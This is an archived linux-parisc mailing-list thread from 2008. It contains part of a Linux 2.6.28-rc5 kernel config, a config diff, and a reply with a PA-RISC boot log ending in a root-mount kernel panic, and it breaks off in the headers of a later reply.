# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_PARISC=y
CONFIG_DMADEVICES=y

#
# DMA Devices
#
CONFIG_AUXDISPLAY=y
# CONFIG_KS0108 is not set
# CONFIG_UIO is not set
# CONFIG_STAGING is not set
CONFIG_STAGING_EXCLUDE_BUILD=y

#
# File systems
#
CONFIG_EXT2_FS=y
CONFIG_EXT2_FS_XATTR=y
CONFIG_EXT2_FS_POSIX_ACL=y
CONFIG_EXT2_FS_SECURITY=y
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=y
CONFIG_EXT3_FS_XATTR=y
CONFIG_EXT3_FS_POSIX_ACL=y
CONFIG_EXT3_FS_SECURITY=y
# CONFIG_EXT4_FS is not set
CONFIG_JBD=y
CONFIG_FS_MBCACHE=y
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
CONFIG_FS_POSIX_ACL=y
CONFIG_FILE_LOCKING=y
# CONFIG_XFS_FS is not set
# CONFIG_OCFS2_FS is not set
CONFIG_DNOTIFY=y
CONFIG_INOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_QUOTA is not set
CONFIG_AUTOFS_FS=y
# CONFIG_AUTOFS4_FS is not set
# CONFIG_FUSE_FS is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
# CONFIG_ZISOFS is not set
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=y
# CONFIG_MSDOS_FS is not set
CONFIG_VFAT_FS=y
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
# CONFIG_TMPFS_POSIX_ACL is not set
# CONFIG_HUGETLB_PAGE is not set
# CONFIG_CONFIGFS_FS is not set

#
# Miscellaneous filesystems
#
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_ECRYPT_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
# CONFIG_NFS_V3_ACL is not set
# CONFIG_NFS_V4 is not set
CONFIG_ROOT_NFS=y
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
# CONFIG_NFSD_V3_ACL is not set
CONFIG_NFSD_V4=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_EXPORTFS=y
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=y
CONFIG_SUNRPC_GSS=y
# CONFIG_SUNRPC_REGISTER_V4 is not set
CONFIG_RPCSEC_GSS_KRB5=y
CONFIG_RPCSEC_GSS_SPKM3=m
CONFIG_SMB_FS=m
CONFIG_SMB_NLS_DEFAULT=y
CONFIG_SMB_NLS_REMOTE="cp437"
CONFIG_CIFS=m
# CONFIG_CIFS_STATS is not set
CONFIG_CIFS_WEAK_PW_HASH=y
# CONFIG_CIFS_UPCALL is not set
CONFIG_CIFS_XATTR=y
CONFIG_CIFS_POSIX=y
# CONFIG_CIFS_DEBUG2 is not set
# CONFIG_CIFS_EXPERIMENTAL is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=y
CONFIG_NLS_CODEPAGE_737=m
CONFIG_NLS_CODEPAGE_775=m
CONFIG_NLS_CODEPAGE_850=m
CONFIG_NLS_CODEPAGE_852=m
CONFIG_NLS_CODEPAGE_855=m
CONFIG_NLS_CODEPAGE_857=m
CONFIG_NLS_CODEPAGE_860=m
CONFIG_NLS_CODEPAGE_861=m
CONFIG_NLS_CODEPAGE_862=m
CONFIG_NLS_CODEPAGE_863=m
CONFIG_NLS_CODEPAGE_864=m
CONFIG_NLS_CODEPAGE_865=m
CONFIG_NLS_CODEPAGE_866=m
CONFIG_NLS_CODEPAGE_869=m
CONFIG_NLS_CODEPAGE_936=m
CONFIG_NLS_CODEPAGE_950=m
CONFIG_NLS_CODEPAGE_932=m
CONFIG_NLS_CODEPAGE_949=m
CONFIG_NLS_CODEPAGE_874=m
CONFIG_NLS_ISO8859_8=m
CONFIG_NLS_CODEPAGE_1250=y
CONFIG_NLS_CODEPAGE_1251=m
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=y
CONFIG_NLS_ISO8859_2=m
CONFIG_NLS_ISO8859_3=m
CONFIG_NLS_ISO8859_4=m
CONFIG_NLS_ISO8859_5=m
CONFIG_NLS_ISO8859_6=m
CONFIG_NLS_ISO8859_7=m
CONFIG_NLS_ISO8859_9=m
CONFIG_NLS_ISO8859_13=m
CONFIG_NLS_ISO8859_14=m
CONFIG_NLS_ISO8859_15=m
CONFIG_NLS_KOI8_R=m
CONFIG_NLS_KOI8_U=m
CONFIG_NLS_UTF8=y
# CONFIG_DLM is not set

#
# Kernel hacking
#
# CONFIG_PRINTK_TIME is not set
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=1024
CONFIG_MAGIC_SYSRQ=y
CONFIG_UNUSED_SYMBOLS=y
# CONFIG_DEBUG_FS is not set
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_KERNEL=y
CONFIG_DEBUG_SHIRQ=y
CONFIG_DETECT_SOFTLOCKUP=y
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC=y
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=1
# CONFIG_SCHED_DEBUG is not set
# CONFIG_SCHEDSTATS is not set
CONFIG_TIMER_STATS=y
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_DEBUG_SLAB is not set
CONFIG_DEBUG_RT_MUTEXES=y
CONFIG_DEBUG_PI_LIST=y
CONFIG_RT_MUTEX_TESTER=y
CONFIG_DEBUG_SPINLOCK=y
CONFIG_DEBUG_MUTEXES=y
CONFIG_DEBUG_SPINLOCK_SLEEP=y
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_INFO is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
CONFIG_DEBUG_MEMORY_INIT=y
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_CPU_STALL_DETECTOR is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_FAULT_INJECTION is not set
CONFIG_SYSCTL_SYSCALL_CHECK=y

#
# Tracers
#
# CONFIG_SCHED_TRACER is not set
# CONFIG_CONTEXT_SWITCH_TRACER is not set
# CONFIG_BOOT_TRACER is not set
CONFIG_DYNAMIC_PRINTK_DEBUG=y
# CONFIG_SAMPLES is not set
# CONFIG_DEBUG_RODATA is not set

#
# Security options
#
CONFIG_KEYS=y
CONFIG_KEYS_DEBUG_PROC_KEYS=y
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
CONFIG_SECURITY_FILE_CAPABILITIES=y
CONFIG_XOR_BLOCKS=y
CONFIG_ASYNC_CORE=y
CONFIG_ASYNC_MEMCPY=y
CONFIG_ASYNC_XOR=y
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
# CONFIG_CRYPTO_FIPS is not set
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_AEAD=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_RNG=y
CONFIG_CRYPTO_MANAGER=y
# CONFIG_CRYPTO_GF128MUL is not set
CONFIG_CRYPTO_NULL=m
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_AUTHENC=m
CONFIG_CRYPTO_TEST=m

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_SEQIV is not set

#
# Block modes
#
CONFIG_CRYPTO_CBC=y
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
CONFIG_CRYPTO_ECB=m
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
CONFIG_CRYPTO_HMAC=y
# CONFIG_CRYPTO_XCBC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=m
CONFIG_CRYPTO_MD4=m
CONFIG_CRYPTO_MD5=y
CONFIG_CRYPTO_MICHAEL_MIC=m
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
CONFIG_CRYPTO_SHA1=y
CONFIG_CRYPTO_SHA256=m
CONFIG_CRYPTO_SHA512=m
CONFIG_CRYPTO_TGR192=m
CONFIG_CRYPTO_WP512=m

#
# Ciphers
#
CONFIG_CRYPTO_AES=m
CONFIG_CRYPTO_ANUBIS=m
CONFIG_CRYPTO_ARC4=m
CONFIG_CRYPTO_BLOWFISH=m
# CONFIG_CRYPTO_CAMELLIA is not set
CONFIG_CRYPTO_CAST5=m
CONFIG_CRYPTO_CAST6=m
CONFIG_CRYPTO_DES=y
# CONFIG_CRYPTO_FCRYPT is not set
CONFIG_CRYPTO_KHAZAD=m
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_SEED is not set
CONFIG_CRYPTO_SERPENT=m
CONFIG_CRYPTO_TEA=m
CONFIG_CRYPTO_TWOFISH=m
CONFIG_CRYPTO_TWOFISH_COMMON=m

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=y
# CONFIG_CRYPTO_LZO is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
CONFIG_CRYPTO_HW=y
# CONFIG_CRYPTO_DEV_HIFN_795X is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_CRC_CCITT=m
# CONFIG_CRC16 is not set
CONFIG_CRC_T10DIF=y
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
CONFIG_LIBCRC32C=m
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=y
CONFIG_PLIST=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y

--------------090207000403060701000102
Content-Type: text/x-patch;
 name="config.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="config.diff"

--- config-2.6.28-rc5-ion	2008-11-19 03:20:23.000000000 +0100
+++ .config	2008-11-19 18:01:22.000000000 +0100
@@ -1,7 +1,7 @@
 #
 # Automatically generated make config: don't edit
 # Linux kernel version: 2.6.28-rc5
-# Tue Nov 18 16:29:29 2008
+# Wed Nov 19 18:01:22 2008
 #
 CONFIG_PARISC=y
 CONFIG_MMU=y
@@ -483,7 +483,7 @@
 # SCSI device support
 #
 CONFIG_RAID_ATTRS=m
-CONFIG_SCSI=m
+CONFIG_SCSI=y
 CONFIG_SCSI_DMA=y
 # CONFIG_SCSI_TGT is not set
 CONFIG_SCSI_NETLINK=y
@@ -492,12 +492,12 @@
 #
 # SCSI support type (disk, tape, CD-ROM)
 #
-CONFIG_BLK_DEV_SD=m
+CONFIG_BLK_DEV_SD=y
 CONFIG_CHR_DEV_ST=m
 # CONFIG_CHR_DEV_OSST is not set
-CONFIG_BLK_DEV_SR=m
+CONFIG_BLK_DEV_SR=y
 # CONFIG_BLK_DEV_SR_VENDOR is not set
-CONFIG_CHR_DEV_SG=m
+CONFIG_CHR_DEV_SG=y
 CONFIG_CHR_DEV_SCH=m
 CONFIG_SCSI_ENCLOSURE=m
 
@@ -513,11 +513,12 @@
 #
 # SCSI Transports
 #
-CONFIG_SCSI_SPI_ATTRS=m
+CONFIG_SCSI_SPI_ATTRS=y
 CONFIG_SCSI_FC_ATTRS=m
 CONFIG_SCSI_ISCSI_ATTRS=m
 CONFIG_SCSI_SAS_ATTRS=m
 CONFIG_SCSI_SAS_LIBSAS=m
+# CONFIG_SCSI_SAS_ATA is not set
 CONFIG_SCSI_SAS_HOST_SMP=y
 CONFIG_SCSI_SAS_LIBSAS_DEBUG=y
 # CONFIG_SCSI_SRP_ATTRS is not set
@@ -561,15 +562,16 @@
 # CONFIG_SCSI_IZIP_EPP16 is not set
 # CONFIG_SCSI_IZIP_SLOW_CTR is not set
 CONFIG_SCSI_MVSAS=m
-CONFIG_SCSI_LASI700=m
+CONFIG_SCSI_LASI700=y
 CONFIG_53C700_LE_ON_BE=y
 CONFIG_SCSI_STEX=m
-CONFIG_SCSI_SYM53C8XX_2=m
+CONFIG_SCSI_SYM53C8XX_2=y
 CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
 CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
 CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
 CONFIG_SCSI_SYM53C8XX_MMIO=y
-CONFIG_SCSI_ZALON=m
+# CONFIG_SCSI_IPR is not set
+CONFIG_SCSI_ZALON=y
 CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
 CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
 CONFIG_SCSI_NCR53C8XX_SYNC=20
@@ -586,7 +588,65 @@
 CONFIG_SCSI_DH_HP_SW=m
 CONFIG_SCSI_DH_EMC=m
 CONFIG_SCSI_DH_ALUA=m
-# CONFIG_ATA is not set
+CONFIG_ATA=y
+# CONFIG_ATA_NONSTANDARD is not set
+# CONFIG_SATA_PMP is not set
+# CONFIG_SATA_AHCI is not set
+# CONFIG_SATA_SIL24 is not set
+CONFIG_ATA_SFF=y
+# CONFIG_SATA_SVW is not set
+# CONFIG_ATA_PIIX is not set
+# CONFIG_SATA_MV is not set
+# CONFIG_SATA_NV is not set
+# CONFIG_PDC_ADMA is not set
+# CONFIG_SATA_QSTOR is not set
+# CONFIG_SATA_PROMISE is not set
+# CONFIG_SATA_SX4 is not set
+# CONFIG_SATA_SIL is not set
+# CONFIG_SATA_SIS is not set
+# CONFIG_SATA_ULI is not set
+# CONFIG_SATA_VIA is not set
+# CONFIG_SATA_VITESSE is not set
+# CONFIG_SATA_INIC162X is not set
+# CONFIG_PATA_ALI is not set
+# CONFIG_PATA_AMD is not set
+# CONFIG_PATA_ARTOP is not set
+# CONFIG_PATA_ATIIXP is not set
+# CONFIG_PATA_CMD640_PCI is not set
+# CONFIG_PATA_CMD64X is not set
+# CONFIG_PATA_CS5520 is not set
+# CONFIG_PATA_CS5530 is not set
+# CONFIG_PATA_CYPRESS is not set
+# CONFIG_PATA_EFAR is not set
+# CONFIG_ATA_GENERIC is not set
+# CONFIG_PATA_HPT366 is not set
+# CONFIG_PATA_HPT37X is not set
+# CONFIG_PATA_HPT3X2N is not set
+# CONFIG_PATA_HPT3X3 is not set
+# CONFIG_PATA_IT821X is not set
+# CONFIG_PATA_IT8213 is not set
+# CONFIG_PATA_JMICRON is not set
+# CONFIG_PATA_TRIFLEX is not set
+# CONFIG_PATA_MARVELL is not set
+# CONFIG_PATA_MPIIX is not set
+# CONFIG_PATA_OLDPIIX is not set
+# CONFIG_PATA_NETCELL is not set
+# CONFIG_PATA_NINJA32 is not set
+# CONFIG_PATA_NS87410 is not set
+# CONFIG_PATA_NS87415 is not set
+# CONFIG_PATA_OPTI is not set
+# CONFIG_PATA_OPTIDMA is not set
+# CONFIG_PATA_PDC_OLD is not set
+# CONFIG_PATA_RADISYS is not set
+# CONFIG_PATA_RZ1000 is not set
+# CONFIG_PATA_SC1200 is not set
+# CONFIG_PATA_SERVERWORKS is not set
+# CONFIG_PATA_PDC2027X is not set
+# CONFIG_PATA_SIL680 is not set
+# CONFIG_PATA_SIS is not set
+# CONFIG_PATA_VIA is not set
+# CONFIG_PATA_WINBOND is not set
+# CONFIG_PATA_SCH is not set
 CONFIG_MD=y
 CONFIG_BLK_DEV_MD=m
 CONFIG_MD_LINEAR=m
@@ -648,8 +708,8 @@
 # CONFIG_REALTEK_PHY is not set
 # CONFIG_MDIO_BITBANG is not set
 CONFIG_NET_ETHERNET=y
-CONFIG_MII=m
-CONFIG_LASI_82596=m
+CONFIG_MII=y
+CONFIG_LASI_82596=y
 CONFIG_HAPPYMEAL=m
 # CONFIG_SUNGEM is not set
 CONFIG_CASSINI=m
@@ -657,12 +717,12 @@
 CONFIG_VORTEX=m
 # CONFIG_TYPHOON is not set
 CONFIG_NET_TULIP=y
-CONFIG_DE2104X=m
-CONFIG_TULIP=m
+CONFIG_DE2104X=y
+CONFIG_TULIP=y
 # CONFIG_TULIP_MWI is not set
 CONFIG_TULIP_MMIO=y
 # CONFIG_TULIP_NAPI is not set
-CONFIG_DE4X5=m
+CONFIG_DE4X5=y
 CONFIG_WINBOND_840=m
 # CONFIG_DM9102 is not set
 CONFIG_ULI526X=m
@@ -675,7 +735,7 @@
 # CONFIG_IBM_NEW_EMAC_MAL_CLR_ICINTSTAT is not set
 # CONFIG_IBM_NEW_EMAC_MAL_COMMON_ERR is not set
 CONFIG_NET_PCI=y
-CONFIG_PCNET32=m
+CONFIG_PCNET32=y
 # CONFIG_AMD8111_ETH is not set
 # CONFIG_ADAPTEC_STARFIRE is not set
 CONFIG_B44=m
@@ -905,8 +965,6 @@
 # CONFIG_PPDEV is not set
 # CONFIG_IPMI_HANDLER is not set
 CONFIG_HW_RANDOM=y
-CONFIG_GEN_RTC=y
-# CONFIG_GEN_RTC_X is not set
 # CONFIG_R3964 is not set
 # CONFIG_APPLICOM is not set
 CONFIG_RAW_DRIVER=m
@@ -1433,6 +1491,7 @@
 # CONFIG_NEW_LEDS is not set
 # CONFIG_ACCESSIBILITY is not set
 # CONFIG_INFINIBAND is not set
+CONFIG_RTC_LIB=y
 CONFIG_RTC_CLASS=y
 CONFIG_RTC_HCTOSYS=y
 CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
@@ -1495,23 +1554,26 @@
 #
 # File systems
 #
-CONFIG_EXT2_FS=m
-# CONFIG_EXT2_FS_XATTR is not set
-# CONFIG_EXT2_FS_XIP is not set
-CONFIG_EXT3_FS=m
+CONFIG_EXT2_FS=y
+CONFIG_EXT2_FS_XATTR=y
+CONFIG_EXT2_FS_POSIX_ACL=y
+CONFIG_EXT2_FS_SECURITY=y
+CONFIG_EXT2_FS_XIP=y
+CONFIG_EXT3_FS=y
 CONFIG_EXT3_FS_XATTR=y
-# CONFIG_EXT3_FS_POSIX_ACL is not set
-# CONFIG_EXT3_FS_SECURITY is not set
+CONFIG_EXT3_FS_POSIX_ACL=y
+CONFIG_EXT3_FS_SECURITY=y
 CONFIG_EXT4_FS=m
 # CONFIG_EXT4DEV_COMPAT is not set
 CONFIG_EXT4_FS_XATTR=y
 # CONFIG_EXT4_FS_POSIX_ACL is not set
 # CONFIG_EXT4_FS_SECURITY is not set
-CONFIG_JBD=m
-# CONFIG_JBD_DEBUG is not set
+CONFIG_FS_XIP=y
+CONFIG_JBD=y
+CONFIG_JBD_DEBUG=y
 CONFIG_JBD2=m
-# CONFIG_JBD2_DEBUG is not set
-CONFIG_FS_MBCACHE=m
+CONFIG_JBD2_DEBUG=y
+CONFIG_FS_MBCACHE=y
 CONFIG_REISERFS_FS=m
 # CONFIG_REISERFS_CHECK is not set
 CONFIG_REISERFS_PROC_INFO=y
@@ -1620,11 +1682,11 @@
 CONFIG_MSDOS_PARTITION=y
 CONFIG_NLS=y
 CONFIG_NLS_DEFAULT="iso8859-1"
-CONFIG_NLS_CODEPAGE_437=m
+CONFIG_NLS_CODEPAGE_437=y
 CONFIG_NLS_CODEPAGE_737=m
 CONFIG_NLS_CODEPAGE_775=m
-CONFIG_NLS_CODEPAGE_850=m
-CONFIG_NLS_CODEPAGE_852=m
+CONFIG_NLS_CODEPAGE_850=y
+CONFIG_NLS_CODEPAGE_852=y
 CONFIG_NLS_CODEPAGE_855=m
 CONFIG_NLS_CODEPAGE_857=m
 CONFIG_NLS_CODEPAGE_860=m
@@ -1641,11 +1703,11 @@
 CONFIG_NLS_CODEPAGE_949=m
 CONFIG_NLS_CODEPAGE_874=m
 CONFIG_NLS_ISO8859_8=m
-CONFIG_NLS_CODEPAGE_1250=m
-CONFIG_NLS_CODEPAGE_1251=m
-CONFIG_NLS_ASCII=m
-CONFIG_NLS_ISO8859_1=m
-CONFIG_NLS_ISO8859_2=m
+CONFIG_NLS_CODEPAGE_1250=y
+CONFIG_NLS_CODEPAGE_1251=y
+CONFIG_NLS_ASCII=y
+CONFIG_NLS_ISO8859_1=y
+CONFIG_NLS_ISO8859_2=y
 CONFIG_NLS_ISO8859_3=m
 CONFIG_NLS_ISO8859_4=m
 CONFIG_NLS_ISO8859_5=m
@@ -1654,10 +1716,10 @@
 CONFIG_NLS_ISO8859_9=m
 CONFIG_NLS_ISO8859_13=m
 CONFIG_NLS_ISO8859_14=m
-CONFIG_NLS_ISO8859_15=m
+CONFIG_NLS_ISO8859_15=y
 CONFIG_NLS_KOI8_R=m
 CONFIG_NLS_KOI8_U=m
-CONFIG_NLS_UTF8=m
+CONFIG_NLS_UTF8=y
 # CONFIG_DLM is not set
 
 #
@@ -1821,7 +1883,7 @@
 CONFIG_BITREVERSE=y
 CONFIG_CRC_CCITT=m
 CONFIG_CRC16=m
-CONFIG_CRC_T10DIF=m
+CONFIG_CRC_T10DIF=y
 # CONFIG_CRC_ITU_T is not set
 CONFIG_CRC32=y
 # CONFIG_CRC7 is not set

--------------090207000403060701000102--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Wed, 19 Nov 2008 22:51:03 -0500 (EST)
Lines: 41
Approved: news@gmane.org
Message-ID: <20081120035103.E1C62431A@hiauly1.hia.nrc.ca>
References: <1227061902.10371.11.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227153082 9306 80.91.229.12 (20 Nov 2008 03:51:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Nov 2008 03:51:22 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 20 04:52:22 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L30aY-0007EU-QL
	for glpp-linux-parisc@gmane.org; Thu, 20 Nov 2008 04:52:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752277AbYKTDvH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Nov 2008 22:51:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752391AbYKTDvH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 19 Nov 2008 22:51:07 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4238 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752277AbYKTDvG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Nov 2008 22:51:06 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E1C62431A; Wed, 19 Nov 2008 22:51:03 -0500 (EST)
In-Reply-To: <1227061902.10371.11.camel@localhost.localdomain> from "James Bottomley" at Nov 19, 2008 11:31:42 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:847
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/847>

> Why don't we compare configs?  This is mine for ion:
> 
> http://parisc-linux.org/~jejb/config-2.6.28-rc5-ion
> 
> I suspect we have some nasty interaction in the device driver subsystem
> (ion, the pa8900, isn't running either USB or PDC stable).

I tried this on what was ior:

HARD Booted.
palo ipl 1.14 root@penalosa Wed Oct  8 15:04:37 UTC 2008

Partition Start(MB) End(MB) Id Type
1               1     101   f0 Palo
2             102    1082   82 swap
3            1083   34726   83 ext2

PALO(F0) partition contains:
PALO is formatted EXT2/3
Command line for kernel: 'root=/dev/sda3 panic=5 console=ttyS1 palo_kernel=1/vmlinux'
Selected kernel: /vmlinux from partition 1

...

VFS: Cannot open root device "sda3" or unknown-block(0,0)
Please append a correct "root=" boot option; here are the available partitions:
DEBUG_BLOCK_EXT_DEVT is enabled, you need to specify explicit textual name for "root=" boot option.
Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)
Rebooting in 5 seconds..

What's missing?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Thu, 20 Nov 2008 08:55:30 +0100
Lines: 388
Approved: news@gmane.org
Message-ID: <492517F2.9060703@gmx.de>
References: <49231FD0.9040409@gmx.de> <1227061902.10371.11.camel@localhost.localdomain> <20081119091327.GB3270@tilt.dandreoli.com> <49243DF1.2010206@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227167750 6967 80.91.229.12 (20 Nov 2008 07:55:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Nov 2008 07:55:50 +0000 (UTC)
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 20 08:56:50 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L34PB-0008Sd-B2
	for glpp-linux-parisc@gmane.org; Thu, 20 Nov 2008 08:56:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753604AbYKTHzi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Nov 2008 02:55:38 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753619AbYKTHzi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 20 Nov 2008 02:55:38 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:58210 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753604AbYKTHzg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Nov 2008 02:55:36 -0500
Original-Received: (qmail invoked by alias); 20 Nov 2008 07:55:33 -0000
